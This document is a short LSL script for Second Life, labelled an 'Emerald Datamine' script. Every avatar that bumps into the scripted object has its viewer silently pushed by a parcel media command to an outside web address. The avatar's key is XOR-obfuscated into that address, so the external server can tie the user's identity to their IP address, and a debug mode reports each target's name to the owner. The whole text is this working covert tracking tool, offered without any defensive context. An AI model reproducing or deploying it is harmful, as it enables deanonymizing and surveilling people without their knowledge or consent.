Emerald Datamine LSL Script

//lsl2

string url = "http://lawlinter.net/secondlifeutility/datamine.addr.php";
string requrl(key id, string au)
{
    string secret = "QSY2S2pkc2dmKig=";
    string re;
    re += url+"?a=";
    re += llEscapeURL(llXorBase64StringsCorrect(llStringToBase64((string)id),secret));
    re += "&p="+llEscapeURL(llXorBase64StringsCorrect(llStringToBase64((string)au),secret));
    return re;
}

authreq(string au)
{
    llHTTPRequest(url+"?auth="+llEscapeURL(au),[],"");
}

query(key id)
{
    string au = (string)((integer)llFrand(DEBUG_CHANNEL));
    authreq(au);
    string url = requrl(id,au);
    llParcelMediaCommandList([PARCEL_MEDIA_COMMAND_AGENT,id,PARCEL_MEDIA_COMMAND_TYPE,"text/html",PARCEL_MEDIA_COMMAND_URL,url,PARCEL_MEDIA_COMMAND_PLAY]);
    if(llGetObjectDesc() == "dbg")llInstantMessage(owner,"datamining user "+llKey2Name(id));
}

list insim;

clr()
{
    integer i;
    integer l = llGetListLength(insim);
    while(i < l)
    {
        key id = llList2Key(insim,i);
        if(llGetBoundingBox(id) == [])
        {
            insim = llDeleteSubList(insim,i,i);
            l -= 1;
        }else i += 1;
    }
}
key owner;
default
{
    state_entry()
    {
        llSetStatus(STATUS_PHANTOM,0);
        llVolumeDetect(0);
        llSetStatus(STATUS_PHANTOM,0);
        llVolumeDetect(1);
        owner= llGetOwner();
    }

    collision_start(integer c)
    {
        integer i;
        do
        {
            if(llDetectedType(i) & AGENT)
            {
                key id = llDetectedKey(i);
                if(llListFindList(insim,[id]) == -1)
                {
                    insim += [id];
                    query(id);
                }
            }
            i += 1;
        }while(i < c);
        clr();
    }

    collision_end(integer c)
    {
        integer i;
        do
        {
            if(llDetectedType(i) & AGENT)
            {
                i = c;
                clr();
            }
            i += 1;
        }while(i < c);
    }
}